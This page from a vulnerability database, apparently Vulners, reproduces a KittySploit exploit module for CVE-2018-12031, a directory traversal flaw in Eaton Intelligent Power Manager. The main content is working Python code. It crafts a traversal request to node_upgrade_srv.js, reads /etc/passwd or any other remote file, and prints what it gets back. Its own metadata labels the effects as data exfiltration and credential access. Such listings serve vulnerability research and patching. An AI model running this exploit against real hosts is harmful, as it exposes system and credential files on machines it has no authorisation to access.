Lucene search
+L

Eaton IPM LFI (CVE-2018-12031)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Directory traversal in Eaton Intelligent Power Manager via node_upgrade_srv.js enables LFI.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Eaton Intelligent Power Manager traversal LFI (CVE-2018-12031)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Eaton IPM LFI (CVE-2018-12031)',
        'description': (
            'Exploits CVE-2018-12031 in Eaton Intelligent Power Manager 1.6: directory '
            'traversal via node_upgrade_srv.js downloadFirmware reads /etc/passwd and more.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2018-12031'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2018-12031'],
        'tags': ['eaton', 'iot', 'lfi', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['data_exfiltration', 'credential_access'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': True,
            'produces': ['file_read'],
            'chain': {'suggested_followups': ['scanner/http/cve_2018_12031_detect']},
        },
    }

    file_path = OptString('/etc/passwd', 'Remote file path', required=True)

    def _path(self, remote: str) -> str:
        depth = '/../' * 12
        target = remote if remote.startswith('/') else f'/{remote}'
        return f'/server/node_upgrade_srv.js?action=downloadFirmware&firmware={depth}{target.lstrip("/")}'

    def execute(self, remote_path: str) -> str:
        r = self.http_request(method='GET', path=self._path(remote_path), allow_redirects=False)
        return (r.text or '') if r and r.status_code == 200 else ''

    def check(self):
        body = self.execute(str(self.file_path or '/etc/passwd'))
        if re.search(r'root:.*:0:0:', body or ''):
            return {'vulnerable': True, 'reason': 'Eaton IPM traversal confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Eaton LFI failed', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('Eaton IPM not vulnerable')
            return False
        body = self.execute(str(self.file_path or '/etc/passwd'))
        print_success(body[:4000])
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
8.5High risk
Vulners AI Score8.5
CVSS 27.5
CVSS 39.8
EPSS0.19477
2